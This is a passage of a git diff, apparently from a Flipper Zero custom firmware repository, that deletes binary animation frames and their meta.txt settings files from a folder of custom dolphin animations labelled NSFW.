Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_29.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_29.bm deleted file mode 100644 index dd877dc8d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_3.bm deleted file mode 100644 index e340ec33d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_30.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_30.bm deleted file mode 100644 index 37e57b0cd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_31.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_31.bm deleted file mode 100644 index a2963b7d8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_31.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_32.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_32.bm deleted file mode 100644 index 3746a749b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_32.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_33.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_33.bm deleted file mode 100644 index 529f38a65..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_33.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_34.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_34.bm deleted file mode 100644 index 2ea3f5825..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_34.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_35.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_35.bm deleted file mode 100644 index 3d9234a03..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_35.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_36.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_36.bm deleted file mode 100644 index dd961d35a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_36.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_37.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_37.bm deleted file mode 100644 index d880be04c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_37.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_38.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_38.bm deleted file mode 100644 index 821ffa75a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_38.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_39.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_39.bm deleted file mode 100644 index 2e8a56c70..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_39.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_4.bm deleted file mode 100644 index 4d2922ced..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_40.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_40.bm deleted file mode 100644 index dd4ef5f30..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_40.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_41.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_41.bm deleted file mode 100644 index 5a46a5257..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_41.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_42.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_42.bm deleted file mode 100644 index 241caae98..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_42.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_43.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_43.bm deleted file mode 100644 index 00bfe8a0f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_43.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_44.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_44.bm deleted file mode 100644 index 74af2a150..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_44.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_45.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_45.bm deleted file mode 100644 index 63b9f5304..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_45.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_46.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_46.bm deleted file mode 100644 index 7015785e9..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_46.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_47.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_47.bm deleted file mode 100644 index c284c27cb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_47.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_48.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_48.bm deleted file mode 100644 index 2482ff131..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_48.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_49.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_49.bm deleted file mode 100644 index cbde9960f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_49.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_5.bm deleted file mode 100644 index 181fbf56d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_6.bm deleted file mode 100644 index ef9f51f0c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_7.bm deleted file mode 100644 index 14e726fac..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_8.bm deleted file mode 100644 index 4f2ce7946..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_9.bm deleted file mode 100644 index fcef01f8c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/meta.txt deleted file mode 100644 index 4dccc40b3..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 50 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_0.bm deleted file mode 100644 index 8f620268f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_1.bm deleted file mode 100644 index 4c6655a99..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_10.bm deleted file mode 100644 index 458192558..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_11.bm deleted file mode 100644 index 550c4cc85..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_12.bm deleted file mode 100644 index fbc929a49..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_13.bm deleted file mode 100644 index 778cda117..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_14.bm deleted file mode 100644 index e3cd51ade..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_15.bm deleted file mode 100644 index d2b59b575..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_16.bm deleted file mode 100644 index b9d4714f4..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_17.bm deleted file mode 100644 index b5c687322..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_18.bm deleted file mode 100644 index ea5d41c94..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_19.bm deleted file mode 100644 index 53f1cd023..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_2.bm deleted file mode 100644 index 2552035f4..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_3.bm deleted file mode 100644 index b57b53855..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_4.bm deleted file mode 100644 index ba5d5ff2b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_5.bm deleted file mode 100644 index 136a19104..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_6.bm deleted file mode 100644 index 24230a32a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_7.bm deleted file mode 100644 index 8afd9a69e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_8.bm deleted file mode 100644 index daa1472ca..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_9.bm deleted file mode 100644 index af10858dc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/meta.txt deleted file mode 100644 index 721dbe089..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 20 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_0.bm deleted file mode 100644 index 7ee8a6b71..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_1.bm deleted file mode 100644 index 61b2008eb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_10.bm deleted file mode 100644 index a282f8c9a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_11.bm deleted file mode 100644 index 7e6340696..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_12.bm deleted file mode 100644 index 87efa9273..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_13.bm deleted file mode 100644 index 09fb5a6ee..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_14.bm deleted file mode 100644 index eeaff4854..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_15.bm deleted file mode 100644 index 95a2088b8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_16.bm deleted file mode 100644 index bb1351a51..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_17.bm deleted file mode 100644 index 143c15d27..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_18.bm deleted file mode 100644 index 72dad90d7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_19.bm deleted file mode 100644 index 73d8c33e5..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_2.bm deleted file mode 100644 index f6e7b7f12..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_20.bm deleted file mode 100644 index 732f0dba7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_21.bm deleted file mode 100644 index c09fdae0b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_22.bm deleted file mode 100644 index 048c24da4..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_23.bm deleted file mode 100644 index 9d92c4677..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_24.bm deleted file mode 100644 index c3b45b168..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_25.bm deleted file mode 100644 index 99c38c0af..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_26.bm deleted file mode 100644 index a83bf396a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_27.bm deleted file mode 100644 index ab5f00161..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_3.bm deleted file mode 100644 index df7023fa5..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_4.bm deleted file mode 100644 index 4312f7f3d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_5.bm deleted file mode 100644 index 7170e6fde..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_6.bm deleted file mode 100644 index 2add9ec1d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_7.bm deleted file mode 100644 index 692c691f1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_8.bm deleted file mode 100644 index d9a307b90..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_9.bm deleted file mode 100644 index 5b9819925..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/meta.txt deleted file mode 100644 index 676c56ed2..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 28 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_0.bm deleted file mode 100644 index bd2dc00b2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_1.bm deleted file mode 100644 index 4504498d1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_2.bm deleted file mode 100644 index d30576163..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_3.bm deleted file mode 100644 index db257a18a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_4.bm deleted file mode 100644 index 2a707c477..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_5.bm deleted file mode 100644 index 3c58dcacd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_6.bm deleted file mode 100644 index 9e5bf5829..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/meta.txt deleted file mode 100644 index 7e408a6e1..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 7 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_0.bm deleted file mode 100644 index e929402f8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_1.bm deleted file mode 100644 index 6ca3a8024..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_10.bm deleted file mode 100644 index 4af8d8311..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_11.bm deleted file mode 100644 index ab8ca095a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_12.bm deleted file mode 100644 index 67f099a88..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_13.bm deleted file mode 100644 index 5e1fa0856..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_2.bm 